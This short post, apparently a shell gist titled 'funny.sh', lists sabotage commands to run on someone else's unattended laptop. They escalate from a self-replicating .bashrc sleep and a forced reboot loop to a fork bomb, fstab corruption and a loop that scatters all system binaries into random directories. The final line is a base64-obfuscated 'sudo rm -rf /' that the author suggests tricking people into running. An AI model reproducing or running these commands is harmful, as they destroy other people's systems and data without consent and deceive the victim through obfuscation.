For the next time someone leaves their laptop open...

funny.sh

#fun:

    # slower and slower terminal load with each terminal opened - remove line from ~/.bashrc to fix
    echo "echo sleep 5 >> ~/.bashrc" >> ~/.bashrc

#silly:

    # the never-ending reboot - edit grub menu and change run level to stop
    systemctl set-default /usr/lib/systemd/system/runlevel6.target

    # the upside-down cat - unset the alias and move cat back into /bin to fix
    sudo mv /bin/cat /srv && alias cat=/bin/tac

    
#nasty but recoverable:

    # unnecessarily mean 11 char forkbomb - system should be okay when it comes back up
    :(){:|:&};:
    
    # the fstab of sadness
    sed -i 's/root/thisaintroot/g;s/boot/thisaintboot/g' /etc/fstab # drop down to single user mode to sort it

# inexcusably horrible:

    #binary redistribution from hell (and overwritten /sys entries... and all the other damage caused...)
    # not much you can do to sort this out... least you've still got ls, mv, find :D
    dirs_arr=( $(ls /* | sed 's/://g') ) ; # take colons out dir names
    dirs_total=${#dirs_arr[@]} ; 
    bins=$(find /bin/ /sbin/ | grep -ve mv -ve ls -ve find) ; \
    for i in $bins; do RAND_IDX=$(( $RANDOM % ${dirs_total} )) ;  mv ${i} ${dirs_arr[$RAND_IDX]} ; done
    
# not for an open terminal, but try get them to run:
echo "c3VkbyBybSAtcmYgLyAtLW5vLXByZXNlcnZlLXJvb3QK" | base64 -d | sh